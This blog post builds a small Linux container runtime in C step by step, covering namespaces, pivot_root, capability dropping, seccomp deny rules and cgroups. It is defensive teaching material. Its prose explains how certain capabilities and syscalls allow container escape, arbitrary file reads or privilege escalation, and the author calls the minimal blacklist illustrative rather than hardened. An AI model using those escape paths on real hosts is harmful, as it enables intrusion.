Linux containers in 500 lines of code

Table of Contents

I've used Linux containers directly and indirectly for years, but I wanted to become more familiar with them. So I wrote some code. This used to be 500 lines of code, I swear, but I've revised it some since publishing; I've ended up with about 70 lines more.

I wanted specifically to find a minimal set of restrictions to run untrusted code. This isn't how you should approach containers on anything with any exposure: you should restrict everything you can. But I think it's important to know which permissions are categorically unsafe! I've tried to back up things I'm saying with links to code or people I trust, but I'd love to know if I missed anything.

This is a noweb-style piece of literate code. References named <<x>> will be expanded to the code block named x. You can find the tangled source here. This document is an orgmode document, you can find its source here. This document and this code are licensed under the GPLv3; you can find its source here.

Container setup

There are several complementary and overlapping mechanisms that make up modern Linux containers. Roughly,

  • namespaces are used to group kernel objects into different sets that can be accessed by specific process trees. For example, pid namespaces limit the view of the process list to the processes within the namespace. There are a couple of different kind of namespaces. I'll go into this more later.
  • capabilities are used here to set some coarse limits on what uid 0 can do.
  • cgroups is a mechanism to limit usage of resources like memory, disk io, and cpu-time.
  • setrlimit is another mechanism for limiting resource usage. It's older than cgroups, but can do some things cgroups can't.

These are all Linux kernel mechanisms. Seccomp, capabilities, and setrlimit are all done with system calls. cgroups is accessed through a filesystem.

There's a lot here, and the scope of each mechanism is pretty unclear. They overlap a lot and it's tricky to find the best way to limit things. User namespaces are somewhat new, and promise to unify a lot of this behavior. But unfortunately compiling the kernel with user namespaces enabled complicates things. Compiling with user namespaces changes the semantics of capabilities system-wide, which could cause more problems or at least confusion1. There have been a large number of privilege-escalation bugs exposed by user namespaces. "Understanding and Hardening Linux Containers" explains

Despite the large upsides the user namespace provides in terms of security, due to the sensitive nature of the user namespace, somewhat conflicting security models and large amount of new code, several serious vulnerabilities have been discovered and new vulnerabilities have unfortunately continued to be discovered. These deal with both the implementation of user namespaces itself or allow the illegitimate or unintended use of the user namespace to perform a privilege escalation. Often these issues present themselves on systems where containers are not being used, and where the kernel version is recent enough to support user namespaces.

It's turned off by default in Linux at the time of this writing2, but many distributions apply patches to turn it on in a limited way3.

But all of these issues apply to hosts with user namespaces compiled in; it doesn't really matter whether we use user namespaces or not, especially since I'll be preventing nested user namespaces. So I'll only use a user namespace if they're available.

(The user-namespace handling in this code was originally pretty broken. Jann Horn in particular gave great feedback. Thanks!)

contained.c

This program can be used like this, to run /misc/img/bin/sh in /misc/img as root:

[lizzie@empress l-c-i-500-l]$ sudo ./contained -m ~/misc/busybox-img/ -u 0 -c /bin/sh
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.oQ5jOY...done.
=> trying a user namespace...writing /proc/32627/uid_map...writing /proc/32627/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
/ # whoami
root
/ # hostname
05fe5c-three-of-pentacles
/ # exit
=> cleaning cgroups...done.

So, a skeleton for it:

/* -*- compile-command: "gcc -Wall -Werror -lcap -lseccomp contained.c -o contained" -*- */
/* This code is licensed under the GPLv3. You can find its text here:
   https://www.gnu.org/licenses/gpl-3.0.en.html */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/capability.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <linux/capability.h>
#include <linux/limits.h>

struct child_config {
	int argc;
	uid_t uid;
	int fd;
	char *hostname;
	char **argv;
	char *mount_dir;
};

<<capabilities>>

<<mounts>>

<<syscalls>>

<<resources>>

<<child>>

<<choose-hostname>>

int main (int argc, char **argv)
{
	struct child_config config = {0};
	int err = 0;
	int option = 0;
	int sockets[2] = {0};
	pid_t child_pid = 0;
	int last_optind = 0;
	while ((option = getopt(argc, argv, "c:m:u:"))) {
		switch (option) {
		case 'c':
			config.argc = argc - last_optind - 1;
			config.argv = &argv[argc - config.argc];
			goto finish_options;
		case 'm':
			config.mount_dir = optarg;
			break;
		case 'u':
			if (sscanf(optarg, "%d", &config.uid) != 1) {
				fprintf(stderr, "badly-formatted uid: %s\n", optarg);
				goto usage;
			}
			break;
		default:
			goto usage;
		}
		last_optind = optind;
	}
finish_options:
	if (!config.argc) goto usage;
	if (!config.mount_dir) goto usage;

<<check-linux-version>>

	char hostname[256] = {0};
	if (choose_hostname(hostname, sizeof(hostname)))
		goto error;
	config.hostname = hostname;

<<namespaces>>

	goto cleanup;
usage:
	fprintf(stderr, "Usage: %s -u -1 -m . -c /bin/sh ~\n", argv[0]);
error:
	err = 1;
cleanup:
	if (sockets[0]) close(sockets[0]);
	if (sockets[1]) close(sockets[1]);
	return err;
}

Since I'll be blacklisting system calls and capabilities, it's important to make sure there aren't any new ones.

	fprintf(stderr, "=> validating Linux version...");
	struct utsname host = {0};
	if (uname(&host)) {
		fprintf(stderr, "failed: %m\n");
		goto cleanup;
	}
	int major = -1;
	int minor = -1;
	if (sscanf(host.release, "%u.%u.", &major, &minor) != 2) {
		fprintf(stderr, "weird release format: %s\n", host.release);
		goto cleanup;
	}
	if (major != 4 || (minor != 7 && minor != 8)) {
		fprintf(stderr, "expected 4.7.x or 4.8.x: %s\n", host.release);
		goto cleanup;
	}
	if (strcmp("x86_64", host.machine)) {
		fprintf(stderr, "expected x86_64: %s\n", host.machine);
		goto cleanup;
	}
	fprintf(stderr, "%s on %s.\n", host.release, host.machine);

(This had a bug. captainjey on reddit let me know. Thanks!)

And I wasn't quite at 500 lines of code, so I thought I had some space to build nice hostnames.

int choose_hostname(char *buff, size_t len)
{
	static const char *suits[] = { "swords", "wands", "pentacles", "cups" };
	static const char *minor[] = {
		"ace", "two", "three", "four", "five", "six", "seven", "eight",
		"nine", "ten", "page", "knight", "queen", "king"
	};
	static const char *major[] = {
		"fool", "magician", "high-priestess", "empress", "emperor",
		"hierophant", "lovers", "chariot", "strength", "hermit",
		"wheel", "justice", "hanged-man", "death", "temperance",
		"devil", "tower", "star", "moon", "sun", "judgment", "world"
	};
	struct timespec now = {0};
	clock_gettime(CLOCK_MONOTONIC, &now);
	size_t ix = now.tv_nsec % 78;
	if (ix < sizeof(major) / sizeof(*major)) {
		snprintf(buff, len, "%05lx-%s", now.tv_sec, major[ix]);
	} else {
		ix -= sizeof(major) / sizeof(*major);
		snprintf(buff, len,
			 "%05lxc-%s-of-%s",
			 now.tv_sec,
			 minor[ix % (sizeof(minor) / sizeof(*minor))],
			 suits[ix / (sizeof(minor) / sizeof(*minor))]);
	}
	return 0;
}

Namespaces

clone is the system call behind fork() et al. It's also the key to all of this. Conceptually we want to create a process with different properties than its parent: it should be able to mount a different /, set its own hostname, and do other things. We'll specify all of this by passing flags to clone 4.

The child needs to send some messages to the parent, so we'll initialize a socketpair, and then make sure the child only receives access to one.

	if (socketpair(AF_LOCAL, SOCK_SEQPACKET, 0, sockets)) {
		fprintf(stderr, "socketpair failed: %m\n");
		goto error;
	}
	if (fcntl(sockets[0], F_SETFD, FD_CLOEXEC)) {
		fprintf(stderr, "fcntl failed: %m\n");
		goto error;
	}
	config.fd = sockets[1];

But first we need to set up room for a stack. We'll execve later, which will actually set up the stack again, so this is only temporary.5

	#define STACK_SIZE (1024 * 1024)

	char *stack = 0;
	if (!(stack = malloc(STACK_SIZE))) {
		fprintf(stderr, "=> malloc failed, out of memory?\n");
		goto error;
	}

We'll also prepare the cgroup for this process tree. More on this later.

	if (resources(&config)) {
		err = 1;
		goto clear_resources;
	}

We'll namespace the mounts, pids, IPC data structures, network devices, and hostname / domain name. I'll go into these more in the code for capabilities, cgroups, and syscalls.

	int flags = CLONE_NEWNS
		| CLONE_NEWCGROUP
		| CLONE_NEWPID
		| CLONE_NEWIPC
		| CLONE_NEWNET
		| CLONE_NEWUTS;

Stacks on x86, and almost everything else Linux runs on, grow downwards, so we'll add STACK_SIZE to get a pointer just below the end.6 We also | the flags with SIGCHLD so that we can wait on it.

	if ((child_pid = clone(child, stack + STACK_SIZE, flags | SIGCHLD, &config)) == -1) {
		fprintf(stderr, "=> clone failed! %m\n");
		err = 1;
		goto clear_resources;
	}

Close and zero the child's socket, so that if something breaks then we don't leave an open fd, possibly causing the child to or the parent to hang.

	close(sockets[1]);
	sockets[1] = 0;

The parent process will configure the child's user namespace and then pause until the child process tree exits7.

#define USERNS_OFFSET 10000
#define USERNS_COUNT 2000

int handle_child_uid_map (pid_t child_pid, int fd)
{
	int uid_map = 0;
	int has_userns = -1;
	if (read(fd, &has_userns, sizeof(has_userns)) != sizeof(has_userns)) {
		fprintf(stderr, "couldn't read from child!\n");
		return -1;
	}
	if (has_userns) {
		char path[PATH_MAX] = {0};
		for (char **file = (char *[]) { "uid_map", "gid_map", 0 }; *file; file++) {
			if (snprintf(path, sizeof(path), "/proc/%d/%s", child_pid, *file)
			    > sizeof(path)) {
				fprintf(stderr, "snprintf too big? %m\n");
				return -1;
			}
			fprintf(stderr, "writing %s...", path);
			if ((uid_map = open(path, O_WRONLY)) == -1) {
				fprintf(stderr, "open failed: %m\n");
				return -1;
			}
			if (dprintf(uid_map, "0 %d %d\n", USERNS_OFFSET, USERNS_COUNT) == -1) {
				fprintf(stderr, "dprintf failed: %m\n");
				close(uid_map);
				return -1;
			}
			close(uid_map);
		}
	}
	if (write(fd, & (int) { 0 }, sizeof(int)) != sizeof(int)) {
		fprintf(stderr, "couldn't write: %m\n");
		return -1;
	}
	return 0;
}

The child process will send a message to the parent process about whether it should set uid and gid mappings. If that works, it will setgroups, setresgid, and setresuid. Both setgroups and setresgid are necessary here since there are two separate group mechanisms on Linux9. I'm also assuming here that every uid has a corresponding gid, which is common but not necessarily universal.

int userns(struct child_config *config)
{
	fprintf(stderr, "=> trying a user namespace...");
	int has_userns = !unshare(CLONE_NEWUSER);
	if (write(config->fd, &has_userns, sizeof(has_userns)) != sizeof(has_userns)) {
		fprintf(stderr, "couldn't write: %m\n");
		return -1;
	}
	int result = 0;
	if (read(config->fd, &result, sizeof(result)) != sizeof(result)) {
		fprintf(stderr, "couldn't read: %m\n");
		return -1;
	}
	if (result) return -1;
	if (has_userns) {
		fprintf(stderr, "done.\n");
	} else {
		fprintf(stderr, "unsupported? continuing.\n");
	}
	fprintf(stderr, "=> switching to uid %d / gid %d...", config->uid, config->uid);
	if (setgroups(1, & (gid_t) { config->uid }) ||
	    setresgid(config->uid, config->uid, config->uid) ||
	    setresuid(config->uid, config->uid, config->uid)) {
		fprintf(stderr, "%m\n");
		return -1;
	}
	fprintf(stderr, "done.\n");
	return 0;
}

And this is where the child process from clone will end up. We'll perform all of our setup, switch users and groups, and then load the executable. The order is important here: we can't change mounts without certain capabilities, we can't unshare after we limit the syscalls, etc.

int child(void *arg)
{
	struct child_config *config = arg;
	if (sethostname(config->hostname, strlen(config->hostname))
	    || mounts(config)
	    || userns(config)
	    || capabilities()
	    || syscalls()) {
		close(config->fd);
		return -1;
	}
	if (close(config->fd)) {
		fprintf(stderr, "close failed: %m\n");
		return -1;
	}
	if (execve(config->argv[0], config->argv, NULL)) {
		fprintf(stderr, "execve failed! %m.\n");
		return -1;
	}
	return 0;
}

Capabilties

capabilities subdivide the property of "being root" on Linux. It's useful to compartmentalize privileges so that, for example a process can allocate network devices (CAP_NET_ADMIN) but not read all files (CAP_DAC_OVERRIDE). I'll use them here to drop the ones we don't want.

But not all of "being root" is subvidivided into capabilities. For example, writing to parts of procfs is allowed by root even after having dropped capabilities10. There are a lot of things like this: this is part of why need other restrictions beside capabilities.

It's also important to think about how we're dropping capabilities. man 7 capabilities has an algorithm for us:

	During  an   execve(2),  the   kernel  calculates   the  new
	capabilities of the process using the following algorithm:

	    P'(ambient) = (file is privileged) ? 0 : P(ambient)

	    P'(permitted) = (P(inheritable) & F(inheritable)) |
					(F(permitted) & cap_bset) | P'(ambient)

	    P'(effective) = F(effective) ? P'(permitted) : P'(ambient)

	    P'(inheritable) = P(inheritable)    [i.e., unchanged]

	where:

	    P         denotes the  value of a thread  capability set
			    before the execve(2)

	    P'        denotes the  value of a thread  capability set
			    after the execve(2)

	    F         denotes a file capability set

	    cap_bset  is the  value of  the capability  bounding set
			    (described below).

We'd like P'(ambient) and P(inheritable) to be empty, and P'(permitted) and P(effective) to only include the capabilities above. This is achievable by doing the following

  • Clearing our own inheritable set. This clears the ambient set; man 7 capabilities says "The ambient capability set obeys the invariant that no capability can ever be ambient if it is not both permitted and inheritable." This also clears the child's inheritable set.
  • Clearing the bounding set. This limits the file capabilities we'll gain when we execve, and the rest are limited by clearing the inheritable and ambient sets.

If we were to only drop our own effective, permitted and inheritable sets, we'd regain the permissions in the child file's capabilities. This is how bash can call ping, for example.11

Dropped capabilities

int capabilities()
{
	fprintf(stderr, "=> dropping capabilities...");

CAP_AUDIT_CONTROL, _READ, and _WRITE allow access to the audit system of the kernel (i.e. functions like audit_set_enabled, usually used with auditctl). The kernel prevents messages that normally require CAP_AUDIT_CONTROL outside of the first pid namespace, but it does allow messages that would require CAP_AUDIT_READ and CAP_AUDIT_WRITE from any namespace.12 So let's drop them all. We especially want to drop CAP_AUDIT_READ, since it isn't namespaced13 and may contain important information, but CAP_AUDIT_WRITE may also allow the contained process to falsify logs or DOS the audit system.

	int drop_caps[] = {
		CAP_AUDIT_CONTROL,
		CAP_AUDIT_READ,
		CAP_AUDIT_WRITE,

CAP_BLOCK_SUSPEND lets programs prevent the system from suspending, either with EPOLLWAKEUP or /proc/sys/wake_lock.14 Supend isn't namespaced, so we'd like to prevent this.

		CAP_BLOCK_SUSPEND,

CAP_DAC_READ_SEARCH lets programs call open_by_handle_at with an arbitrary struct file_handle *. struct file_handle is in theory an opaque type, but in practice it corresponds to inode numbers. So it's easy to brute-force them, and read arbitrary files. This was used by Sebastian Krahmer to write a program to read arbitrary system files from within Docker in 2014.15

		CAP_DAC_READ_SEARCH,

CAP_FSETID, without user namespacing, allows the process to modify a setuid executable without removing the setuid bit. This is pretty dangerous! It means that if we include a setuid binary in a container, it's easy for us to accidentally leave a dangerous setuid root binary on our disk, which any user can use to escalate privileges.16

		CAP_FSETID,

CAP_IPC_LOCK can be used to lock more of a process' own memory than would normally be allowed17, which could be a way to deny service.

		CAP_IPC_LOCK,

CAP_MAC_ADMIN and CAP_MAC_OVERRIDE are used by the mandatory acess control systems Apparmor, SELinux, and SMACK to restrict access to their settings. These aren't namespaced, so they could be used by the contained programs to circumvent system-wide access control.

		CAP_MAC_ADMIN,
		CAP_MAC_OVERRIDE,

CAP_MKNOD, without user namespacing, allows programs to create device files corresponding to real-world devices. This includes creating new device files for existing hardware. If this capability were not dropped, a contained process could re-create the hard disk device, remount it, and read or write to it.18

		CAP_MKNOD,

I was worried that CAP_SETFCAP could be used to add a capability to an executable and execve it, but it's not actually possible for a process to set capabilities it doesn't have19. But! An executable altered this way could be executed by any unsandboxed user, so I think it unacceptably undermines the security of the system.

		CAP_SETFCAP,

CAP_SYSLOG lets users perform destructive actions against the syslog. Importantly, it doesn't prevent contained processes from reading the syslog, which could be risky. It also exposes kernel addresses, which could be used to circumvent kernel address layout randomization20.

		CAP_SYSLOG,

CAP_SYS_ADMIN allows many behaviors! We don't want most of them (mount, vm86, etc). Some would be nice to have (sethostname, mount for bind mounts…) but the extra complexity doesn't seem worth it.

		CAP_SYS_ADMIN,

CAP_SYS_BOOT allows programs to restart the system (the reboot syscall) and load new kernels (the kexec_load and kexec_file syscalls)21. We absolutely don't want this. reboot is user-namespaced, and the kexec* functions only work in the root user namespace, but neither of those help us.

		CAP_SYS_BOOT,

CAP_SYS_MODULE is used by the syscalls delete_module, init_module, finit_module 22, by the code for kmod 23, and by the code for loading device modules with ioctl24.

		CAP_SYS_MODULE,

CAP_SYS_NICE allows processes to set higher priority on given pids than the default25. The default kernel scheduler doesn't know anything about pid namespaces, so it's possible for a contained process to deny service to the rest of the system26.

		CAP_SYS_NICE,

CAP_SYS_RAWIO allows full access to the host systems memory with /proc/kcore, /dev/mem, and /dev/kmem 27, but a contained process would need mknod to access these within the namespace.28. But it also allows things like iopl and ioperm, which give raw access to the IO ports29.

		CAP_SYS_RAWIO,

CAP_SYS_RESOURCE specifically allows circumventing kernel-wide limits, so we probably should drop it30. But I don't think this can do more than DOS the kernel, in general31.

		CAP_SYS_RESOURCE,

CAP_SYS_TIME: setting the time isn't namespaced, so we should prevent contained processes from altering the system-wide time32.

		CAP_SYS_TIME,

CAP_WAKE_ALARM, like CAP_BLOCK_SUSPEND, lets the contained process interfere with suspend33, and we'd like to prevent that.

		CAP_WAKE_ALARM
	};
	size_t num_caps = sizeof(drop_caps) / sizeof(*drop_caps);
	fprintf(stderr, "bounding...");
	for (size_t i = 0; i < num_caps; i++) {
		if (prctl(PR_CAPBSET_DROP, drop_caps[i], 0, 0, 0)) {
			fprintf(stderr, "prctl failed: %m\n");
			return 1;
		}
	}
	fprintf(stderr, "inheritable...");
	cap_t caps = NULL;
	if (!(caps = cap_get_proc())
	    || cap_set_flag(caps, CAP_INHERITABLE, num_caps, drop_caps, CAP_CLEAR)
	    || cap_set_proc(caps)) {
		fprintf(stderr, "failed: %m\n");
		if (caps) cap_free(caps);
		return 1;
	}
	cap_free(caps);
	fprintf(stderr, "done.\n");
	return 0;
}

Retained Capabilities

It's important to keep track of the capabilities I'm not dropping, too.

I've heard multiple places34 that CAP_DAC_OVERRIDE might expose the same functionality as CAP_DAC_READ_SEARCH (i.e. open_by_handle_at), but as far as I can tell that isn't true. shocker.c doesn't get anywhere with only CAP_DAC_OVERRIDE 35, and the only usage in the kernel is in the Unix permission-checking code36. So my understanding is that CAP_DAC_OVERRIDE on its own doesn't allow processes to read outside of their mount namespaces ("DAC" or "Discretionary Access Control" refers here to ordinary unix permissions).

CAP_FOWNER, CAP_LEASE, and CAP_LINUX_IMMUTABLE all operate on files inside of the mount namespace.

Likewise, CAP_SYS_PACCT allows processes to switch accounting on and off for itself. The acct system call takes a path to log to (which must be within the mount namespace), and only operates on the calling process. We're not using process accounting in our containerization, so turning it off should be harmless as well.37

CAP_IPC_OWNER is only used by functions that respect IPC namespaces38; since we're in a separate IPC namespace from the host, we can allow this.

CAP_NET_ADMIN lets processes create network devices; CAP_NET_BIND_SERVICE lets processes bind to low ports on those devices; CAP_NET_RAW lets processes send raw packets on those devices. Since we're going to isolate the networking with a virtual bridge, and the contained process is inside of a network namespace, these shouldn't be an issue39. I was wondering whether we could recreate an existing device like mknod does, but I don't think it's possible 40.

CAP_SYS_PTRACE doesn't allow ptrace across pid namespaces41. CAP_KILL doesn't allow signals across pid namespaces42.

CAP_SETUID and CAPSETGID have similar behaviors43:

  • Make arbitrary manipulations of process UIDS and GIDs and supplementary GID list, which will only apply to pids in the namespace.
  • forge UID (GID) when passing socket credentials via UNIX domain sockets the mount namespace should prevent us from reading the host system's unix domain sockets.
  • write a user(group ID) mapping in a user namespace (see user_namespaces(7)): this is /proc/self/uid_map, which will be hidden inside the container.

CAP_SETPCAP only lets processes add or drop capabilities they already effectively have; man 7 capabilities says

If file capabilities are supported: add any capability from the calling thread's bounding set to its inheritable set; drop capabilities from the bounding set (via prctl(2) PR_CAPBSET_DROP); make changes to the securebits flags.

We've dropped everything relevant from the bounding set, and dropping further capabilities should be harmless.

CAP_SYS_CHROOT is traditionally abused by changing root to a directory with a setuid root binary and tampered-with dynamic libraries44. Additionally, it can be used to escape a chroot "jail"45. Neither of those should be relevant in our setup so this should be harmless.

Brad Spengler, in "False Boundaries and Arbitrary Code Execution" says that CAP_SYS_TTYCONFIG can "temporarily change the keyboard mapping of an administrator's tty via the KDSETKEYCODE ioctl to cause a different command to be executed than intended", but again this is an ioctl against a device that should be impossible to access within the mount namespace.

Mounts

The child process is in its own mount namespace, so we can unmount things that it specifically shouldn't have access to. Here's how:

  • Create a temporary directory, and one inside of it.
  • Bind mount of the user argument onto the temporary directory
  • pivot_root, making the bind mount our root and mounting the old root onto the inner temporary directory.
  • umount the old root, and remove the inner temporary directory.

But first we'll remount everything with MS_PRIVATE. This is mostly a convenience, so that the bind mount is invisible outside of our namespace.

<<pivot-root>>

int mounts(struct child_config *config)
{
	fprintf(stderr, "=> remounting everything with MS_PRIVATE...");
	if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
		fprintf(stderr, "failed! %m\n");
		return -1;
	}
	fprintf(stderr, "remounted.\n");

	fprintf(stderr, "=> making a temp directory and a bind mount there...");
	char mount_dir[] = "/tmp/tmp.XXXXXX";
	if (!mkdtemp(mount_dir)) {
		fprintf(stderr, "failed making a directory!\n");
		return -1;
	}

	if (mount(config->mount_dir, mount_dir, NULL, MS_BIND | MS_PRIVATE, NULL)) {
		fprintf(stderr, "bind mount failed!\n");
		return -1;
	}

	char inner_mount_dir[] = "/tmp/tmp.XXXXXX/oldroot.XXXXXX";
	memcpy(inner_mount_dir, mount_dir, sizeof(mount_dir) - 1);
	if (!mkdtemp(inner_mount_dir)) {
		fprintf(stderr, "failed making the inner directory!\n");
		return -1;
	}
	fprintf(stderr, "done.\n");

	fprintf(stderr, "=> pivoting root...");
	if (pivot_root(mount_dir, inner_mount_dir)) {
		fprintf(stderr, "failed!\n");
		return -1;
	}
	fprintf(stderr, "done.\n");

	char *old_root_dir = basename(inner_mount_dir);
	char old_root[sizeof(inner_mount_dir) + 1] = { "/" };
	strcpy(&old_root[1], old_root_dir);

	fprintf(stderr, "=> unmounting %s...", old_root);
	if (chdir("/")) {
		fprintf(stderr, "chdir failed! %m\n");
		return -1;
	}
	if (umount2(old_root, MNT_DETACH)) {
		fprintf(stderr, "umount failed! %m\n");
		return -1;
	}
	if (rmdir(old_root)) {
		fprintf(stderr, "rmdir failed! %m\n");
		return -1;
	}
	fprintf(stderr, "done.\n");
	return 0;
}

pivot_root is a system call lets us swap the mount at / with another. Glibc doesn't provide a wrapper for it, but includes a prototype in the man page. I don't really understand, but OK, we'll include our own.

int pivot_root(const char *new_root, const char *put_old)
{
	return syscall(SYS_pivot_root, new_root, put_old);
}

It's worth noting that I'm avoiding packing and unpackaging containers. This is fertile ground for vulnerabilities46; I'll count on the user to ensure that the mounted directory doesn't contain trusted or sensitive files or hard links.

System Calls

I'll be blacklisting system calls that I can demonstrate causing harm or sandbox escapes. Again this isn't the best way to do this, but it seems like the most illustrative.

Docker's documentation and default seccomp profile are reasonable sources for dangerous system calls47. They also include obsolete sytem calls and calls that overlap with restricted capabilities; I'll ignore those.

Disallowed System Calls

#define SCMP_FAIL SCMP_ACT_ERRNO(EPERM)

int syscalls()
{
	scmp_filter_ctx ctx = NULL;
	fprintf(stderr, "=> filtering syscalls...");
	if (!(ctx = seccomp_init(SCMP_ACT_ALLOW))

We want to prevent new setuid / setgid executables from being created, since in the absence of user namespaces the contained process could create a setuid binary that could be used by any user to get root.48

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))

Allowing contained processes to start new user namespaces can allow processes to gain new (albeit limited) capabilities, so we prevent it.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(unshare), 1,
				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))

TIOCSTI allows contained processes to write to the controlling terminal49.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ioctl), 1,
				SCMP_A1(SCMP_CMP_MASKED_EQ, TIOCSTI, TIOCSTI))

The kernel keyring system isn't namespaced.50

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)

Before Linux 4.8, ptrace totally breaks seccomp51.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ptrace), 0)

These system calls let processes assign NUMA nodes. I don't have anything specific in mind, but I could see these being used to deny service to some other NUMA-aware application on the host.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(mbind), 0)
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(migrate_pages), 0)
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(move_pages), 0)
	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(set_mempolicy), 0)

userfaultd allows userspace to handle page faults52. It doesn't require any privileges, so in theory it should be safe to be called by an unprivileged user. But it can be used to pause execution in the kernel by triggering page faults in system calls. This is an important part in some kernel exploits53. It's only rarely used legitimately, so I'll disable it.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(userfaultfd), 0)

I was initially worried about perf_event_open because the Docker documentation says it "could leak a lot of information on the host", but it can't be used in our system to see information for out-of-namespace processes54. But, if /proc/sys/kernel/perf_event_paranoid is less than 2, it can be used to discover kernel addresses and possibly uninitialized memory. 2 is the default since is the default since 4.6, but it can be changed, and relying on it seems like a bad idea55.

	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(perf_event_open), 0)

We'll set PR_SET_NO_NEW_PRIVS to 0. The name is a little vague: it specifically prevents setuid and setcap'd binaries from being executed with their additional privileges. This has some security benefits (it makes it harder for an unprivileged user in-container to exploit a vulnerability in a setuid or setcap executable to become in-container root, for example). But it's a little weird, and means that, for example, ping won't work in a container for an unprivileged user56.

	    || seccomp_attr_set(ctx, SCMP_FLTATR_CTL_NNP, 0)

And we'll actually apply it to the process, and release the context.

	    || seccomp_load(ctx)) {
		if (ctx) seccomp_release(ctx);
		fprintf(stderr, "failed: %m\n");
		return 1;
	}
	seccomp_release(ctx);
	fprintf(stderr, "done.\n");
	return 0;
}

Allowed System Calls

Here are the system calls that are disallowed by the default Docker policy but permitted by this code:

_sysctl is obsolete and disabled by default57. alloc_hugepages and free_hugepages 58, bdflush 59, create_module 60, nfsservctl 61, perfctr 62, get_kernel_syms 63, and setup 64 are not present on modern Linux.

clock_adjtime, clock_settime 65, and adjtime 66 depend on CAP_SYS_TIME.

pciconfig_read and pciconfig_write 67 and all of the side-effecting operations of quotactl 68 are prevented by CAP_SYS_ADMIN.

get_mempolicy and getpagesize reveal information about the memory layout of the system, but they can be made by unprivileged processes, and are probably harmless. pciconfig_iobase can be made by unprivileged processes, and reveals information about PCI decvices. ustat 69 and sysfs 70 leak some information about the filesystems, but are nothing that I see as critical. uselib is more-or-less obsolete, but is just used for loading a shared library in userspace 71

sync_file_range2 is sync_file_range with swapped argument order72.

readdir is mostly obsolete, but probably harmless73.

kexec_file_load and kexec_load are prevented by CAP_SYS_BOOT 74.

nice can only be used to lower priority without CAP_SYS_NICE 75.

oldfstat, oldlstat, oldolduname, oldstat, and olduname are just older versions of their respective functions. I expect them to have the same security properties as the modern ones.

perfmonctl 76 is only available on IA-64. ppc_rtas 77, spu_create 78 and spu_run 79, and subpage_prot 80 are only avaiable on PowerPC. utrap_install is only available on Sparc81. kern_features is only available on Sparc64, and should be harmless anyway82.

I don't believe pivot_root is a problem in our setup (but it could probably be used to circumvent path-based MAC).

preadv2 and pwritev2 are just extensions to preadv and pwritev / readv and writev, which are "scatter input" / "gather output" extensions to read and write 83.

Resources

We'd like to prevent badly-behaved child processes from denying service to the rest of the system84. Cgroups let us limit memory and cpu time in particular; limiting the pid count and IO usage is also useful. There's a very useful document in the kernel tree about it.

The cgroup and cgroup2 filesystems are the canonical interfaces to the cgroup system. cgroup2 is a little different, and unitialized on my system, so I'll use the first version here.

Cgroup namespaces are a little different from, for example, mount namespaces. We need to create the cgroup before we enter a cgroup namespace; once we do, that cgroup will behave like the root cgroup inside of the namespace85. This isn't the most relevant, since a contained process can't mount the cgroup filesystem or /proc for introspection, but it's nice to be thorough.

I'll set up a struct so I don't have to repeat myself too much, with the following instructions:

  • Set memory/$hostname/memory.limit_in_bytes, so the contained process and its child processes can't total more than 1GB memory in userspace86.
  • Set memory/$hostname/memory.kmem.limit_in_bytes, so that the contained process and its child processes can't total more than 1GB memory in userspace87.
  • Set cpu/$hostname/cpu.shares to 256. CPU shares are chunks of 1024; 256 * 4 = 1024, so this lets the contained process take a quarter of cpu-time on a busy system at most88.
  • Set the pids/$hostname/pid.max, allowing the contained process and its children to have 64 pids at most. This is useful because there are per-user pid limits that we could hit on the host if the contained process occupies too many89.
  • Set blkio/$hostname/weight to 50, so that it's lower than the rest of the system and prioritized accordingly90.

